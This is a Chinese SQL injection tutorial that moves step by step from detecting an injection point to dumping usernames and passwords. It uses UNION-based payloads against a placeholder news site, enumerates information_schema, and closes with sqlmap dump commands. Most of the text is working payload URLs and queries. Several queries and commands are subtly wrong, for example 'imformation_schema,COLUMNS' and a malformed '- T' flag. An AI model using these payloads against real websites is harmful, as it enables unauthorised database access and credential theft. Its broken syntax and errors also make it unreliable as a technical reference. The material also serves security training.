SQL注入漏洞原理与利用

SQL注入漏洞原理与利用

SQL注入漏洞流程

• 判断注入类型
• 判断字段个数
• 查询回显位
• 查询数据库名
• 查询表、字段名
• 查询内容

判断注入类型

1.数字型注入点判断

当要输入的参数x为数字型时，后端脚本中的SQL语句类型大致如下:

select * from <表名> where id=x;

数字类型可以使用 and 1=1 和 and 1=2 来判断；

Url地址中http://XXX.cn/?id=x and 1=1 页面依旧运行正常，继续进行下一步；Url地址中http://XXX.cn/?id=x and 1=2 页面运行错误，则说明此Sql注入为数字型注入。

2.字符型注入点判断

当要输入的参数x为字符型时，后端脚本中的SQL语句类型大致如下:

select * from <表名> where id='x';

字符类型可以使用 单引号 来判断；

Url地址中输入http://XXX.cn/?id=x'页面运行错误，继续进行下一步；Url地址中继续输入http://XXX.cn/?id=x ’%23页面运行正常，则说明此Sql注入为字符型注入。

判断字段个数

利用oder by x 的语法来判断

Select * from users where id=1 order by 1
Select * from users where id=1 order by 2
Select * from users where id=1 order by 3

数字的含义：代表需要从第几个字段来排序

MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序，再返回搜索结果。

查询回显位

http://XXX.com/?id = 1 and 1=2 union select 1,2,3,4

MySQL UNION 操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。多个SELECT语句会删除重复的数据。

查询数据库名

利用Mysql数据库的函数来查询 Select database();

查询表、字段名

利用Mysql数据库的特性来查询

Mysql5以上的版本，会有一个数据库存放着所有数据库的表名、字段名等内容。

在SQL注入中，会经常对MYSQL数据库的information_schema数据库中的一些表进行查询，以此来获得自己想要的信息。

常用的表有：

SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema,表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。

查询内容

?id = -1 union select 1,CONCAT（username,'-',password)from users

MySQL 的CONCAT()函数用于将多个字符串连接成一个字符串。

基于报错的检测方法
' "%()
基于布尔的检测
1' and '1'='1 / 1'and '1
1' and '1'='2 /1' and '0
表列名/显示位置位于哪一列
’order by 9-- #按3查询列号排序（注释符：-）
select * 时表字段数=查询字段数
联合查询
'union select 1,2--+
'union all select database(),2--+
DB用户：user()
DB版本：version()
全局函数：@@datadir、@@hostname、@@VERSION、@@version compile os
当前库：database()
ASCII转字符：char()
mysql数据结构 information_schema

SQL注入漏洞

1.页面访问：http://XXX.com/new_list.php?id=1

数据库：select * from news where id=1

页面状态：返回内容正常

说明：正常浏览页面，找到有参数的地方，比如id

2.页面访问：http://XXX.com/new_list.php?id=1 and 1=1

数据库：select * from news where id=1 and 1=1

页面状态：返回内容正常

说明：测试是否存在SQL语句及类型

3.页面访问：http://XXX.com/new_list.php?id=1 and 1=2

数据库：select * from news where id=1 and 1=2

页面状态：返回内容异常

说明：SQL语句中，1=2不成立，存在数字型的SQL漏洞

4.页面访问：http://XXX.com/new_list.php?id=1 order by 1

数据库：select * from news where id=1 order by 1

页面状态：返回内容正常

说明：通过order by N来判断有几个字段，返回内容正常，可以确定至少有1个字段。

5.页面访问：http://XXX.com/new_list.php?id=1 order by 2

数据库：select * from news where id=1 order by 2

页面状态：返回内容正常

说明：通过order by N来判断有几个字段，返回内容正常，可以确定至少有2个字段。

6.页面访问：http://XXX.com/new_list.php?id=1 order by 3

数据库：select * from news where id=1 order by 3

页面状态：返回内容正常

说明：通过order by N来判断有几个字段，返回内容正常，可以确定至少有3个字段。

7.页面访问：http://XXX.com/new_list.php?id=1 order by 4

数据库：select * from news where id=1 order by 4

页面状态：返回内容正常

说明：通过order by N来判断有几个字段，返回内容正常，可以确定至少有4个字段。

8.页面访问：http://XXX.com/new_list.php?id=1 order by 5

数据库：select * from news where id=1 order by 5

页面状态：返回内容异常

说明：通过order by N来判断有几个字段，返回内容异常，说明有4个字段。

9.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,2,3,4

数据库：select * from news where id=1 and 1=2 union select 1,2,3,4

页面状态：在原来的标题位置显示为2，内容的位置显示为3

说明：通过SQL语句中and 1=2 union select 1,2,3......,n联合查询，判断显示的是哪些字段，就是原本显示标题和内容时候的查询字段，原来的查询应该是Select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示，contents内容是在第三个位置显示。

10.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

数据库：select * from news where id=1 and 1=2 union select 1,database(),version(),4

页面状态：在原来的标题位置显示为数据库名称，内容的位置显示为操作系统版本

说明：database()是查询当前数据库的名称，一个服务器上可能有多个数据库，version()是查询当前数据的版本。

11.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

数据库：select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

页面状态：在原来的标题位置显示为数据库名称，内容的位置显示为3

说明：这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容，数据库information_schema是MySQL系统自带的数据库，其中记录了当前数据库系统中大部分我们需要了解的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。就是这个默认自带的数据中，存储了MySQL的数据库名字、表名字、列名字和其他信息，通过information_schema我们可以查看整个MySQL实例的情况。获取到的为第一个数据库名称。

12.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

数据库：select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

页面状态：在原来的标题位置显示为数据库名称，内容的位置显示为3

说明：limit 4,1意思是从第四行起，取1行数据，为获取第5个数据库名称。

13.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

数据库：select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

页面状态：返回内容为空

说明：limit 5,1意思是从第5行起，取1行数据，返回为空，说明只有5个数据库。

14.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

数据库：select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

页面状态：在原来的标题位置显示为表名，内容的位置显示为3

说明：查询对应当前数据库的第1个数据的表名，limit0,1取到的是第一个表名 。

15.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

数据库：select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

页面状态：在原来的标题位置显示为表名，内容的位置显示为3

说明：查询对应当前数据库的第1个数据的表名，limit0,1取到的是第2个表名 。

16.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

数据库：select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

页面状态：返回内容为空

说明：说明当前数据库只有两个表。

17.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

数据库：select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

页面状态：在原来的标题上显示列名，内容的位置显示为类型

说明：查询数据库‘ ’ 的表‘ ’ 中的第一个字段名称与类型。

18.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

数据库：select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

页面状态：在原来的标题上显示列名，内容的位置显示为类型

说明：查询数据库‘ ’ 的表‘ ’ 中的第2个字段名称与类型。

19.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from 库名.表名

数据库：select * from news where id=1and 1=2 union select 1,count(*),3,4 from 库名.表名

页面状态：在原来的标题上显示2，内容的位置显示为3

说明：查询数据库‘ ’ 的表‘ ’ 中的数据总数，共有2条数据。

20.页面访问：http://XXX.com/new_list.php?id=1 and 1=2 union select 1,concat(name,'-',password,'-',status),3,4 from 库名.表名 limit 0,1

数据库：select * from news where id=1and 1=2 union select 1,concat(name,'-',password,'-',status),3,4 from 库名.表名 limit 0,1

页面状态：在原来的标题上显示xx-xx-xx，内容的位置显示为3

说明：查询数据库‘ ’ 的表‘ ’ 中的第一条数据的name、password、status的内容，三者之间用-连接起来，CONCAT是把产生的字符串连接起来。获取第一条数据的内容。

密码一般都是采用字符加密的方式在数据库中存储，拿到加密的密文后，需要分析密码的加密方式，然后去找相对应的系统去‘破解’，拿到明文密码。

常用工具：Sqlmap

测试注入： python sqlmap.py -u 'url'

注数据库：python sqlmap.py -u 'url' --dbs

注当前数据库：python sqlmap.py -u 'url' --current-db

注表名：python sqlmap.py -u 'url' -D 库名 --tables

注列名：python sqlmap.py -u 'url' -D 库名 - T 表名 --columns

注数据：python sqlmap.py -u 'url' -D 库名 - T 表名 -C 列名，列名 --dump